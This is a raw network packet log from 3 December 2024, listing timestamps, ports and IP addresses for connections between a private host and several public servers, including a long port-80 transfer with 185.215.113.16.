Dec 3, 2024 17:41:33.969346046 CET	443	49762	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.969712973 CET	49762	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.969736099 CET	443	49762	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.970175982 CET	49762	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.970180035 CET	443	49762	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.970238924 CET	49763	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.970280886 CET	443	49763	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.970347881 CET	49763	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.970495939 CET	49763	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.970510006 CET	443	49763	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.085954905 CET	443	49761	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.091118097 CET	49761	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.091156006 CET	443	49761	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.091792107 CET	49761	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.091803074 CET	443	49761	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.107728004 CET	443	49759	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:34.107835054 CET	443	49759	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:34.107917070 CET	49759	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:34.108108997 CET	49759	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:34.108144999 CET	443	49759	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:34.108161926 CET	49759	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:34.108167887 CET	443	49759	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:34.109601021 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:34.171720028 CET	443	49758	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.171787977 CET	443	49758	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.171955109 CET	49758	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.172205925 CET	49758	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.172226906 CET	443	49758	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.172239065 CET	49758	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.172245979 CET	443	49758	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.175318956 CET	49765	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.175354004 CET	443	49765	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.175446987 CET	49765	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.175630093 CET	49765	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.175642014 CET	443	49765	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.229641914 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:34.229824066 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:34.229996920 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:34.305692911 CET	443	49760	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.305768967 CET	443	49760	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.305835009 CET	49760	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.306056976 CET	49760	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.306076050 CET	443	49760	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.306087971 CET	49760	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.306093931 CET	443	49760	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.309075117 CET	49766	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.309112072 CET	443	49766	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.309207916 CET	49766	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.309375048 CET	49766	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.309387922 CET	443	49766	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.349950075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:34.407294035 CET	443	49762	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.407362938 CET	443	49762	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.407419920 CET	49762	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.407624960 CET	49762	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.407634020 CET	443	49762	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.407644987 CET	49762	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.407649040 CET	443	49762	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.410151005 CET	49767	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.410191059 CET	443	49767	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.410275936 CET	49767	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.410393000 CET	49767	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.410407066 CET	443	49767	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.547625065 CET	443	49761	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.547693014 CET	443	49761	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.547795057 CET	49761	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.548022985 CET	49761	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.548047066 CET	443	49761	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.548055887 CET	49761	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.548060894 CET	443	49761	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.550657988 CET	49768	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.550719023 CET	443	49768	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:34.550801992 CET	49768	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.550936937 CET	49768	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:34.550947905 CET	443	49768	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:35.625145912 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.625380993 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.625443935 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.625972986 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.626420021 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.626430035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.626462936 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.627382994 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.627433062 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.627995968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.628006935 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.628048897 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.628674984 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.628699064 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.628736973 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.745480061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.745909929 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.745970011 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.749655962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.757637024 CET	443	49763	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:35.758102894 CET	49763	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:35.758138895 CET	443	49763	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:35.758543968 CET	49763	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:35.758549929 CET	443	49763	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:35.760274887 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.760328054 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.760584116 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.814337015 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.827461004 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.827776909 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.827836037 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.831671000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.832061052 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.832118034 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.840039015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.840388060 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.840439081 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.848459959 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.848799944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.848850965 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.857045889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.857745886 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.857793093 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.865375996 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.865731001 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.865784883 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.873836040 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.874176025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.874226093 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.882184029 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.882498026 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.882548094 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.892328978 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.892343998 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.892384052 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.898958921 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.899256945 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.899302959 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.907301903 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:35.954940081 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:35.967360020 CET	443	49765	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:35.967926025 CET	49765	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:35.967938900 CET	443	49765	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:35.968399048 CET	49765	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:35.968405008 CET	443	49765	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.007122040 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.007481098 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.007545948 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.008836985 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.031734943 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.031800985 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.032018900 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.033957005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.034023046 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.034760952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.035125017 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.035175085 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.039767027 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.040110111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.040158033 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.044320107 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.044787884 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.044842005 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.049207926 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.049509048 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.049568892 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.053282022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.053649902 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.053700924 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.057933092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.058279037 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.058326960 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.062581062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.062939882 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.062987089 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.067164898 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.067504883 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.067563057 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.071799040 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.072120905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.072170973 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.076375961 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.076872110 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.076927900 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.081017971 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.081348896 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.081399918 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.085668087 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.086014986 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.086069107 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.090276003 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.090575933 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.090630054 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.094924927 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.095237017 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.095288992 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.099637032 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.099972010 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.100023031 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.104289055 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.104971886 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.105029106 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.105896950 CET	443	49766	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.106386900 CET	49766	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.106408119 CET	443	49766	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.106838942 CET	49766	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.106842995 CET	443	49766	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.108747005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.109096050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.109148026 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.113378048 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.113737106 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.113794088 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.117971897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.118307114 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.118355036 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.132496119 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.173688889 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.207160950 CET	443	49767	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.207251072 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.207676888 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.207679033 CET	49767	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.207700968 CET	443	49767	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.207734108 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.208123922 CET	49767	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.208129883 CET	443	49767	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.209266901 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.209965944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.210014105 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.210392952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.214133024 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.214184046 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.215430975 CET	443	49763	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.215497017 CET	443	49763	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.215550900 CET	49763	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.215682030 CET	49763	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.215702057 CET	443	49763	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.215717077 CET	49763	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.215722084 CET	443	49763	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.218451977 CET	49769	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.218493938 CET	443	49769	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.218565941 CET	49769	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.218684912 CET	49769	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.218696117 CET	443	49769	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.237735987 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.238042116 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.238091946 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.239372015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.239686012 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.239737034 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.241978884 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.242331982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.242392063 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.245445013 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.245784998 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.245846987 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.248850107 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.249216080 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.249269962 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.252250910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.252551079 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.252608061 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.255541086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.255903006 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.255960941 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.258884907 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.259255886 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.259391069 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.262320042 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.262599945 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.262660027 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.265727043 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.266011953 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.266067028 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.269006014 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.269342899 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.269397974 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.272330999 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.272680044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.272737026 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.275666952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.276026011 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.276074886 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.279040098 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.279386997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.279433966 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.282438993 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.282803059 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.282846928 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.285763025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.286117077 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.286159992 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.289038897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.289421082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.289470911 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.292437077 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.293114901 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.293160915 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.295728922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.296088934 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.296132088 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.299117088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.299552917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.299612999 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.302728891 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.303061962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.303114891 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.305310011 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.305643082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.305691004 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.307759047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.308078051 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.308156013 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.310373068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.310739994 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.310787916 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.313009024 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.313344002 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.313388109 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.315630913 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.315958977 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.316004992 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.318202019 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.318562031 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.318609953 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.320823908 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.321178913 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.321222067 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.323826075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.324157953 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.324203968 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.326319933 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.326579094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.326627016 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.328783035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.329042912 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.329090118 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.331279993 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.331767082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.331813097 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.333952904 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.334271908 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.334323883 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.336574078 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.336932898 CET	80	49764	185.215.113.16	192.168.2.7
